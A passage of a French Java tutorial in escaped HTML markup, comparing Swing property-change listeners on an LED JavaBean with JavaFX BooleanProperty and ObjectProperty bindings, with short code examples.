&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PROPERTY_ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;my.package, property on&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PROPERTY_COLOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;my.package, property color&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setPreferredSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/*set dimension here*/&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WHITE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid color (you try off color)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;firePropertyChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PROPERTY_COLOR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;firePropertyChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PROPERTY_ON&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le &lt;em&gt;bean&lt;/em&gt; se présente bien. Il a son constructeur sans paramètre qui permettra d&amp;rsquo;instancier l&amp;rsquo;objet. À ses propriétés sont associées des accesseurs / mutateurs. Dès lors qu&amp;rsquo;une propriété change, il en informe ses écouteurs via la méthode &lt;code&gt;firePropertyChange()&lt;/code&gt; héritée de &lt;code&gt;JPanel&lt;/code&gt;. Cet héritage lui donne également les méthodes et attributs nécessaires pour gérer ses écouteurs.&lt;/p&gt;
&lt;p&gt;S&amp;rsquo;ajouter comme écouteur du led, se fait avec Swing, comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;led&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addPropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour être écouteur, je dois être &lt;code&gt;PropertyChangeListener&lt;/code&gt; et implémenter la méthode &lt;code&gt;propertyChange&lt;/code&gt;. Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;propertyChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PropertyChangeEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPropertyName&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;PROPERTY_ON&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;La led m&amp;#39;informe&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getNewValue&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est bien sûr également possible d&amp;rsquo;ajouter un écouteur en utilisant une classe interne anonyme ou nommée. Par exemple pour une classe interne anonyme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;led&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addPropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;propertyChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PropertyChangeEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPropertyName&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;PROPERTY&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_ON&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;La led m&amp;#39;informe&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getNewValue&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La philosophie de JavaFX est un peu différente. En effet, JavaFX ajoute la notion de « propriété » &lt;em&gt;via&lt;/em&gt; des classes &lt;code&gt;Property&lt;/code&gt;. Comme d&amp;rsquo;habitude les classes existent pour les valeurs primitives et une classe &lt;em&gt;generics&lt;/em&gt; existe pour tous les autres objets.&lt;/p&gt;
&lt;p&gt;Pour définir une led ayant comme propriété le booléen &lt;em&gt;on&lt;/em&gt;, il suffira d&amp;rsquo;écrire avec JavaFX:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LedOn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BooleanProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SimpleBooleanProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aon&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aon&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BooleanProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onProperty&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Déroutant n&amp;rsquo;est-ce pas ? Il est également nécessaire de s&amp;rsquo;ajouter comme écouteur auprès de la led. La méthode &lt;code&gt;onProperty()&lt;/code&gt; offre la gestion des écouteurs tandis que la méthode &lt;code&gt;set()&lt;/code&gt; se chargera du &lt;em&gt;fire&lt;/em&gt; dès que c&amp;rsquo;est nécessaire. Il n&amp;rsquo;est plus utile de s&amp;rsquo;en charger.&lt;/p&gt;
&lt;p&gt;Pour pouvoir s&amp;rsquo;ajouter comme écouteur, on peut être « &lt;code&gt;ChangeListener&amp;lt;Boolean&amp;gt;&lt;/code&gt; » et implémenter la méthode &lt;code&gt;changed()&lt;/code&gt; ou simplement utiliser une classe interne anonyme comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;led&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onProperty&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ChangeListener&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;changed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ObservableValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;observable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// I&amp;#39;ve changed. Promise&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Led change de &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; vers &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour une valeur de type &lt;code&gt;Color&lt;/code&gt; par exemple — qui n&amp;rsquo;est donc pas un type primitif — c&amp;rsquo;est un peu plus complexe… quoique avec un IDE, le générateur de code aide bien. En utilisant une classe interne anonyme (&lt;em&gt;inner class&lt;/em&gt;), l&amp;rsquo;ajout d&amp;rsquo;une propriété peut s&amp;rsquo;écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//…&lt;/span&gt;

&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectProperty&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
